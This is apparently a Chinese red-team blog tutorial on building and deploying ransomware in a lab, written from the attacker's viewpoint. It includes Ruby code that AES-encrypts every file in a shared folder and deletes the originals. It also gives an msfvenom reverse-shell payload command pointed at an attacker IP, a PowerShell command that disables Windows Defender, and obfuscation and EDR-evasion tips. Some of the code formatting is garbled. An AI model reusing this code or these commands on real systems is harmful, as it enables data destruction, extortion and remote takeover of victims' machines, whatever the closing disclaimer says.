<pre><code class="language-markdown">## 0x01 勒索软件的隐秘世界

勒索软件本质上是一种通过加密目标文件来实施经济勒索的恶意软件。攻击者利用各种途径入侵目标系统，随后部署勒索软件，加密用户的重要数据，并要求受害者支付赎金以换取解密密钥。近年来，勒索软件的攻击手段不断进化，其背后的技术细节值得深入剖析。

勒索软件的核心机制

典型的勒索软件有以下几个关键技术模块：

  1. 加密模块：通常使用对称加密（如AES）与非对称加密（如RSA）结合，快速加密目标文件。
  2. 传播模块：通过漏洞利用、钓鱼邮件、RDP暴力破解等方式传播到更多系统。
  3. 权限提升模块：利用常见系统漏洞或不安全配置绕过权限限制，为后续操作铺平道路。
  4. 自毁与反检测：隐藏自身痕迹，避免被杀毒软件或EDR检测，例如通过混淆代码、禁用安全服务等。

下面我们从攻击者的视角出发，分析勒索软件的完整攻击链及技术细节。

---

0x02 环境搭建：搭建靶场模拟攻击

在攻击模拟中，我们需要搭建一个受控的靶场环境，包括：受害者机器、攻击者C2服务器，以及中间的网络流量监控工具。以下是具体搭建步骤。

1. 靶场设计

我们使用如下环境：

  • 被攻击机器：Windows 10（开启文件共享和RDP服务）
  • 攻击者机器：Kali Linux（提供工具安装和C2服务器）
  • 网络流量工具：Wireshark（用于流量捕获）

2. 环境配置

在Windows受害者机器上：

  • 启动远程桌面（RDP）服务：

    • 打开“运行”，输入 services.msc 启动服务管理器，找到“Remote Desktop Services”，将其设置为“自动”并启动。

  • 创建一个资源共享文件夹：

    • `shell mkdir C:\SharedData net share SharedData=C:\SharedData /GRANT:Everyone,READ `

在Kali攻击者机器上：

  • 安装必要工具：

    • `shell sudo apt update sudo apt install metasploit-framework wireshark nmap `

配置网络流量监控：

  • 使用Wireshark捕获受害者机器的流量：

    • `shell sudo wireshark ` 选择受害者和攻击者通信的网卡，开始捕获。

---

0x03 Payload构造的艺术

勒索软件的关键在于其恶意载荷。我们将使用Ruby语言模拟一个简单的文件加密勒索软件，并且展示如何将其武器化。

核心代码实现：文件加密模块

以下代码使用Ruby语言实现了简单的加密逻辑。 </code></pre>ruby require 'openssl' require 'base64'

随机AES密钥生成

aes_key = OpenSSL::Random.random_bytes(32) iv = OpenSSL::Random.random_bytes(16)

加密函数

def encrypt_file(file_path, aes_key, iv) cipher = OpenSSL::Cipher::AES256.new(:CBC) cipher.encrypt cipher.key = aes_key cipher.iv = iv

encrypted_data = '' File.open(file_path, 'rb') do |file| while chunk = file.read(1024) encrypted_data << cipher.update(chunk) end encrypted_data << cipher.final end

File.open("#{file_path}.enc", 'wb') do |enc_file| enc_file.write(encrypted_data) end

黑客示意图

删除原文件

File.delete(file_path) puts "[+] 文件 #{file_path} 已加密为 #{file_path}.enc" end

加密目标文件夹

target_dir = "C:/SharedData/" Dir.glob("#{target_dir}*").each do |file| encrypt_file(file, aes_key, iv) end <pre><code>

代码分析

  1. AES加密：采用AES-256算法配合CBC模式，确保加密强度。
  2. 文件删除：加密完成后删除源文件，防止用户恢复。
  3. 目标范围：批量加密目标文件夹内的所有文件。

黑客示意图

---

0x04 绕过检测：隐秘进入目标

现代安全系统对勒索软件检测越来越敏感，因此攻击者需要绕过EDR、杀毒软件等防御措施。以下是常见的绕过技术：

技术一：代码混淆与加壳

攻击者可使用工具对Ruby脚本进行混淆，例如 ruby-obfuscator：</code></pre>shell gem install ruby-obfuscator ruby-obfuscator my_script.rb > obfuscated_script.rb <pre><code>- 优点：隐藏代码逻辑，增加分析难度。

  • 缺点：可能触发静态分析工具。

技术二：内存加载执行

通过工具（如Metasploit），将恶意代码直接注入内存，避免落地文件被扫描：</code></pre>shell msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o payload.exe <pre><code>然后在被控机器上运行 payload.exe。

技术三：禁用安全服务

攻击过程中禁用Windows Defender：</code></pre>shell powershell.exe -Command "Set-MpPreference -DisableRealtimeMonitoring $true" <pre><code>注意：此命令需管理员权限。

---

0x05 流量捕获实战：分析勒索软件行为

攻击流程生成大量网络流量，通过抓包工具可以捕获其数据通信行为。以下是抓包分析的步骤：

抓包工具配置

  1. 启动Wireshark，选择对应网卡。
  2. 配置过滤规则：
  • TCP流量过滤：tcp.port == 4444
  • HTTP流量过滤：http.request.method == POST

分析数据包

观察勒索软件与C2服务器的通信行为，例如：

  • 密钥上传：攻击者将AES密钥上传至C2服务器。
  • 受害者数据：泄露的敏感信息可能通过POST请求发送。

---

0x06 从攻击者的角度看防御

虽然勒索软件具有强大的隐蔽性，但攻击者也面临防御机制的挑战。以下是攻击者规避防御的思路：

  1. 对抗EDR：
  • 使用行为检测规避工具（如 Cobalt Strike 的 BOF 模块）。
  • 自定义Payload以减少被签名库匹配的概率。
  1. 规避网络检测：
  • 加密通信：使用HTTPS或自定义协议。
  • 流量伪装：将勒索软件流量伪装为常见应用程序流量。

---

0x07 攻击者的经验之谈

黑客示意图

作为一名红队成员，以下经验可能对你有所启发：

  1. 多步骤攻击链：勒索软件攻击从初始入侵到最终勒索，跨越多个阶段，每个阶段都需要精心设计。
  2. C2基础设施隐藏：攻击者常用动态域名与代理服务器隐藏真实IP。
  3. 风险评估：部署勒索软件前需考虑目标环境的监控与防御能力。

&gt; 免责声明：本文仅限授权环境下的安全测试，禁止用于非法用途。</code></pre>